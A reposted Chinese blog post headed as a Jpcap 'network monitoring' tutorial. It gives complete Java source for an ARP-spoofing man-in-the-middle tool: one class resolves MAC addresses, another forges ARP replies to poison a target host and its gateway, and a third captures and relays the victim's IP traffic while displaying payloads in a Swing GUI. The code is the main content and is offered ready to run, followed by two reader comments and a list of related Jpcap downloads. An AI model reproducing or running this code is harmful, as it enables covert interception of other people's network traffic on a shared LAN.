`
wankunde
  • 浏览: 162351 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

如何使用Jpcap 包实现网络监听[转载]

Swingprototype.netthread 
阅读更多

 如何使用Jpcap 包实现网络监听

   实现的代码如下（这里提供几个重要的类）

    
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import java.util.Arrays;
import java.net.InetAddress;
import java.net.Inet4Address;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;
import javax.swing.JOptionPane;

public class ARP
{  
   
    public static  byte[] getTargetMAC(InetAddress targetIp)
    {
     NetworkInterface[] devices=JpcapCaptor.getDeviceList();
  NetworkInterface device=null;
        //寻找适合的网络设备
       loop: for(NetworkInterface d:devices)
             {
        for(NetworkInterfaceAddress addr:d.addresses)
        {
         if(!(addr.address instanceof Inet4Address)) continue;
         byte[] bip=targetIp.getAddress();
         byte[] subnet=addr.subnet.getAddress();
         byte[] bif=addr.address.getAddress();
         for(int i=0;i<4;i++){
         bip[i]=(byte)(bip[i]&subnet[i]);
         bif[i]=(byte)(bif[i]&subnet[i]);
    }
    if(Arrays.equals(bip,bif))
    {
     device=d;
     break loop;
    }
       }
     }
  
  if(device==null)
   throw new IllegalArgumentException(targetIp+" is not a local address");
  JpcapCaptor captor = null;
  //打开一个网络数据包捕捉者
  try
  {
   captor=JpcapCaptor.openDevice(device,2000,false,3000);
   //只接收ARP数包
      captor.setFilter("arp",true);
  }catch(Exception e)
  {
   
  }
  //获得发送数据包的实例
  JpcapSender sender=captor.getJpcapSenderInstance();
  InetAddress srcip=null;
  for(NetworkInterfaceAddress addr:device.addresses)
   if(addr.address instanceof Inet4Address){
    srcip=addr.address;
    break;
   }
        //进行广播数据报的MAC地址
  byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
  //构造REQUEST 类型的ARP的数据包
  ARPPacket arp=new ARPPacket();
  arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  //源MAC地址
  arp.sender_hardaddr=device.mac_address;
  //源IP地址
  arp.sender_protoaddr=srcip.getAddress();
  //目地MAC地址:广播地址全为1(二进制)
  arp.target_hardaddr=broadcast;
  //目地IP地址
  arp.target_protoaddr=targetIp.getAddress();
  //构造以太网头部
  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;
  ether.dst_mac=broadcast;
  //ARP数据包加上以网关头部
  arp.datalink=ether;
  //向局域网广播ARP请求数据报
  sender.sendPacket(arp);
  //接收目标主面的答应ARP数据报
  while(true)
  {
   ARPPacket p=(ARPPacket)captor.getPacket();
   if(p==null)
   {
    throw new IllegalArgumentException(targetIp +"不是本地局域网的IP号");
   }
   if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
    return p.sender_hardaddr;
   }
  }

    }
   
}

 

import java.net.InetAddress;
import jpcap.packet.*;
import jpcap.*;

public class TrickerThread extends Thread
{  
   
    private String targetIP;
   
    private String gateWayIP;
   
    private byte[] targetMAC;
   
    private byte[] gateWayMAC;
   
    private ARPPacket targetPacket;
   
    private ARPPacket gateWayPacket;
   
    private NetworkInterface device;
   
    private JpcapSender sender = null;
   
    public TrickerThread(NetworkInterface device, JpcapSender sender, String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
    {
      this.device = device;
      this.sender = sender;
         this.targetIP = targetIP;
         this.gateWayIP = gateWayIP;
         this.targetMAC = targetMAC;
         this.gateWayMAC = gateWayMAC;
        
         makePacket(); 
    }
   
   
    public void run()
    {
     
     sender.sendPacket(targetPacket);
     sender.sendPacket(gateWayPacket);
     System.out.println("欺骗!!");
     try
     {
      Thread.sleep(200);
     }
     catch(Exception e)
     {
      System.out.println();
     }
    }
   
    private void makePacket()
    {
     
     
     
     targetPacket = new ARPPacket();//发往目标主机的ARP包
  targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
  targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
  targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
  targetPacket.hlen=6;
  targetPacket.plen=4;
  targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
  targetPacket.target_hardaddr=targetMAC;//目地MAC地址
  try
  {
   
      targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
     
      targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
  }catch(Exception e)
  {
   
  }
  
  EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  
  ether.src_mac=device.mac_address;
  
  ether.dst_mac=targetMAC;
  
  targetPacket.datalink=ether;
  
  
  
  
  gateWayPacket = new ARPPacket();//发往网关的ARP数据报
  gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
  gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
  gateWayPacket.operation=ARPPacket.ARP_REPLY;
  gateWayPacket.hlen=6;
  gateWayPacket.plen=4;
  gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
  gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
  try
  {
   
      gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
     
      gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
  }catch(Exception e)
  {
   
  }
    
  ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=device.mac_address;//源MAC地址
  ether.dst_mac=gateWayMAC;//目的MAC地址
  gateWayPacket.datalink=ether;
  
    }
   
   
}


 
import jpcap.*;
import java.io.*;
import java.net.*;
import jpcap.packet.*;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostThread extends Thread
{
 
    private jpcap.NetworkInterface[] devices = null;
   
    private jpcap.NetworkInterface device = null ;
   
    private JpcapCaptor captor = null ;
   
    private JpcapSender sender = null;
   
    private byte[] targetMAC;
   
    private byte[] gateWayMAC;
   
    private String targetIP;
   
    private String gateWayIP;
   
    private DefaultTableModel model;
   
   
    public MinitorAntherHostThread(DefaultTableModel model, String targetIP , String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
    {
     this.model = model;
     this.targetIP = targetIP;
     this.gateWayIP = gateWayIP;
     this.targetMAC = targetMAC;
     this.gateWayMAC =  gateWayMAC;
     try
     {
      initDevice();
     }
     catch(IOException e)
     {
      
     }
        
      }
   
  
    private void initDevice() throws IOException
    {
        devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
        int index = 0;
        if(devices.length>1)
         index = 1;
        device = devices[index];//只有一个设备
        captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
        captor.setFilter("ip",true); //只监听B的IP数据包
        sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
    }
  
   
     public void run()//接收数据包并转发
     {
       TrickerThread tricker = new TrickerThread(device, sender,targetIP,  gateWayIP, targetMAC , gateWayMAC);
      
         tricker.start();
         IPPacket dataPacket = null;
        
         while(true)
         {
             dataPacket =(IPPacket)captor.getPacket();
             if(dataPacket!=null)
             {
              System.out.println(dataPacket);
              Object[] data = {"","","",""};
              if(dataPacket.src_ip.getHostAddress().equals(targetIP))
                {
                   data[0] = "发送";
                   data[1] = dataPacket.getClass().getName();
                   data[2] = dataPacket;
             StringBuffer buffer = new StringBuffer();
             for(Byte a:dataPacket.data)
             {
               buffer.append(Byte.toString(a));
             }
             data[3] = new String(buffer);
             model.addRow(data);//显不数据包
                  
                 send(dataPacket, gateWayMAC);
                 System.out.println(dataPacket);
                }
                else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
                {
                   data[0] = "接收";
                   data[2] = dataPacket;
             StringBuffer buffer = new StringBuffer();
             for(Byte a:dataPacket.data)
             {
               buffer.append(Byte.toString(a));
             }
             data[3] = new String(buffer);
             model.addRow(data);//显不数据包
                  
                 send(dataPacket, targetMAC);
                 System.out.println(dataPacket);
                }
               
             }
            
                
        }
    }
   
   
    private void send(Packet packet, byte[] changeMAC)
    {
        EthernetPacket eth;
        if(packet.datalink instanceof EthernetPacket)
        {
             eth = (EthernetPacket)packet.datalink;
             for(int i = 0; i < 6; i++)
             {
                eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
                eth.src_mac[i] = device.mac_address[i]; //源发送者为A
             }
            sender.sendPacket(packet);
       }
    }
}


import javax.swing.JLabel;

import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
    private JButton initButton;
    private JButton startButton;
    private JButton stopButton;
    private JButton endButton;
    private JPanel operatePane;
    private JTable showPackage;
    private DefaultTableModel model;
    private JScrollPane showPane;
    private JPanel northPane ;
    private JLabel label;
    private JLabel label2;
    private JLabel label3;
    private JLabel label4;
    private JTextField textField;
    private JTextField textField2;
    private JTextField textField3;
    private JTextField textField4;
    private JButton arpButton;
    private String targetIp;
    private String gateWayIp;
    private byte[] targetMac;
    private byte[] gateWayMac;
    private MinitorAntherHostThread minitor;
    public MinitorAntherHostPane()
    {
     Object[][] data = {{}};
     Object[] title = {"监听类型","数据包类型","数据包通信信息","数据包的数据"};
     model = new DefaultTableModel(data, title);
     showPackage = new JTable(model);
     showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
     showPane = new JScrollPane(showPackage);
     showPane.setBorder(BorderFactory.createTitledBorder("监听的数据包列表"));
     
     initButton = new JButton("开始监听");
     initButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        initButton.setEnabled(false);
        stopButton.setEnabled(true);
        MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
        minitor.start();
       }
      }); 
     startButton = new JButton("继续监听");
     startButton.setEnabled(false);
     startButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        stopButton.setEnabled(true);
           endButton.setEnabled(false);
           minitor.resume();
       }
      }
       );
     stopButton = new JButton("暂停监听");
     stopButton.setEnabled(false);
     stopButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        stopButton.setEnabled(false);
        startButton.setEnabled(true);
        endButton.setEnabled(true);
        minitor.suspend();
        
       }
      }
       );
     endButton = new JButton("终止监听");
     endButton.setEnabled(false);
     endButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        initButton.setEnabled(true);
        startButton.setEnabled(false);
        stopButton.setEnabled(false);
        endButton.setEnabled(false);
        try
        {
         minitor.destroy();
        }
        catch(Exception ex)
        {
         
        }
        
       }
      }
       );
     operatePane = new JPanel();
     operatePane.add(initButton);
     operatePane.add(startButton);
     operatePane.add(stopButton);
     operatePane.add(endButton);
     operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));
     
     label = new JLabel("目标主机的IP地址：");
     textField = new JTextField(9);
     arpButton = new JButton("解析MAC地址");
     arpButton.addMouseListener(
      new MouseAdapter()
      {
       public void mouseClicked(MouseEvent e)
       {
        if(textField.getText().equals(""))
        {
         
        }
        else
        {
         try
         {
          targetIp = textField.getText();
          targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
         }
         catch(Exception ex)
         {
          
         }
         StringBuffer buffer = new StringBuffer();
         for (byte b : targetMac)
               buffer.append(Integer.toHexString(b&0xff) + ":");
            textField2.setText(new String(buffer));
           
            try
         {
          gateWayIp = textField3.getText();
          gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
         }
         catch(Exception ex)
         {
          
         }
         buffer = new StringBuffer();
         for (byte b : gateWayMac)
               buffer.append(Integer.toHexString(b&0xff) + ":");
            textField4.setText(new String(buffer));
        }
       }
      }
       );
     label2 = new JLabel("目标主机MAC地址：");
     textField2 = new JTextField(9);
     label3 = new JLabel("网关IP地址:");
     textField3 = new JTextField(9);
     label4 = new JLabel("网关MAC地址：");
     textField4 = new JTextField(9);
     northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
     northPane.add(label3);
     northPane.add(textField3);
     northPane.add(label);
     northPane.add(textField);
     northPane.add(arpButton);
     northPane.add(label4);
     northPane.add(textField4);
     northPane.add(label2);
     northPane.add(textField2);
     setLayout(new BorderLayout());
     add(northPane, BorderLayout.NORTH);
     add(showPane, BorderLayout.CENTER);
     add(operatePane, BorderLayout.SOUTH);
    }
   
   
}

分享到：
| 在Java中用Jpcap捕获网络包[转载]
评论
2 楼 wankunde 2011-12-26  
lilei9963 写道
大哥，你写点程序，还得让我们看看代码，才知道怎么运行是吗？

你先运行起来，再看嘛！
1 楼 lilei9963 2011-12-09  
大哥，你写点程序，还得让我们看看代码，才知道怎么运行是吗？
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    jpcap监听网络 收发数据包java

    【标题】"jpcap监听网络 收发数据包java" 涉及的主要知识点是Java编程中的网络数据包捕获和发送，其中jpcap库是一个关键工具。jpcap是一个开源的Java库，它提供了对网络接口的低级访问，能够用于捕获、过滤、发送和...

    jpcap实现网络实时流量图

    《使用jpcap实现网络实时流量图》 在IT领域，网络流量监控是至关重要的一个环节，它能够帮助我们理解网络活动，检测异常流量，优化网络性能，甚至防范网络安全威胁。jpcap作为Java平台上的一个强大库，提供了对网络...

    计算机网络课程设计(JPCAP发包与抓包)

    对于数据包的捕获，JPCAP提供了一系列的接口和类，如`JpcapCaptor`和`Packet`，用于监听网络接口，接收并解析接收到的数据包。我们可以根据需要过滤特定类型的包，比如只捕获TCP或特定端口的包。捕获到的包可以...

    JPCAP网络抓包

    本文将详细介绍JPCAP库的使用及其在网络抓包中的应用。 **1. JPCAP库介绍** JPCAP是由John Linn开发的一个Java库，它提供了类似于libpcap（用于C语言的网络数据包捕获库）的功能。JPCAP允许程序员在Java环境中对...

    使用Jpcap实现的java网络抓包程序，支持ipv6

    标题中的“使用Jpcap实现的java网络抓包程序，支持ipv6”表明这是一个Java编程项目，其核心功能是利用Jpcap库进行网络封包的捕获和分析，并且该程序具有处理IPv6协议的能力。在现代网络环境中，IPv6的普及逐渐增加，...

    JAVA抓包工具jpcap，包含32位和64位

    Java抓包工具jpcap是Java平台上的网络数据包捕获库，它允许开发者在Java应用程序中实现网络监控和分析功能。jpcap提供了一套API接口，使得开发者能够轻松地处理网络数据包，包括捕获、过滤、解析以及网络协议分析等...

    Java jpcap抓包

    Java jpcap抓包是一种利用Java编程语言和jpcap库来实现网络数据包捕获的技术。jpcap是Java Packet Capture的缩写，是一个开源的网络协议分析库，允许开发者在Java应用程序中进行网络数据包的捕获和处理。在计算机...

    jpcap依赖包及代码

    标题 "jpcap依赖包及代码" 指的是一个集合，包含了与jpcap相关的所有必要组件，包括必要的jar包和动态链接库（DLL），以及可能的示例代码，帮助开发者理解并使用jpcap进行网络数据包捕获。jpcap是一个Java库，它为...

    Jpcap包的安装与配置[归纳].pdf

    Jpcap包是Java开发中的一个重要工具，它提供了对网络数据包的捕获和处理功能。为了能够正确地安装和配置Jpcap包，需要遵循以下步骤： 首先，需要下载并安装JDK和winpcap。JDK是Java开发环境的核心组件，而winpcap则...

    jpcap java抓包必需jar包

    jpcap并非直接实现数据链路层的控制，而是依赖于操作系统底层的抓包库，如Windows上的winpcap和Unix/Linux上的libpcap，通过这些库来获取网络数据包，然后提供给Java程序员一个统一的API。 **jpcap的关键特性** 1....

    jpcap包123

    jpcap库允许程序实时监听网络接口，获取经过的每一个数据包，并提供详细的包头信息和负载内容。这些数据包可以是TCP、UDP、IP或其他低级别的协议。通过解析这些数据，开发者可以洞察网络流量模式，进行故障排查，...

    网络嗅探器，基于jpcap

    在本案例中，我们关注的是一个基于Java平台的网络嗅探器，它利用了名为jpcap的库来实现其功能。 **jpcap简介** jpcap是一个开源的Java库，专门设计用于处理网络接口卡（NIC）的数据包捕获。它提供了类似于libpcap...

    Jpcap包的安装与配置-本人亲自实践好资源0分送

    通过使用Jpcap，开发者可以在Java环境中实现对网络流量的监听、分析等功能。这对于网络安全分析、网络监控以及数据包处理等领域具有重要的应用价值。 #### 二、Jpcap包的安装与配置 ##### （一）在JCreator环境下...

    java源码：网络抓包工具 jpcap.zip

    jpcap库的实现基于libpcap，这是一个广泛使用的C语言实现的网络抓包库，因此jpcap可以跨平台运行，包括Windows、Linux、Mac OS X等操作系统。peazip-4.7.2.src可能是项目中包含的一个依赖库或示例代码，PeaZip是一款...

    jpcap例子

    标题“jpcap例子”指的是使用jpcap库进行网络数据包捕获的实际示例。jpcap是一个Java库，它提供了对网络接口的数据包捕获和分析的能力，类似于著名的libpcap（在Windows上是WinPcap）的Java版本。这个库允许开发者在...

    Java抓包工具 jpcap WinPcap

    Java抓包工具jpcap与WinPcap是网络分析和数据包捕获的重要工具，尤其在软件开发、网络故障排查和安全分析等领域中扮演着重要角色。本文将深入探讨这两个工具的功能、安装过程以及如何利用它们进行网络数据包的抓取和...

    共享Jpcap工具包

    java抓包程序，使用jpcpa.jar包java的JPCAP.jar， 不过一直调用的都是winpcap(jpcap.dll)实现的许多接口。 压缩包包含 jpcap.jar和jpcap.dll 下载要积分了，本人也积分有限！见谅

    jpcap所需jar包和dll

    标题中的“jpcap所需jar包和dll”指的是在Java编程环境下使用Jpcap库进行网络数据包捕获和分析时必要的组件。Jpcap是一个Java库，它允许程序员访问和解析网络接口上的数据包，这在进行网络监控、安全分析或者ARP欺骗...

Magicbox
Global site tag (gtag.js) - Google Analytics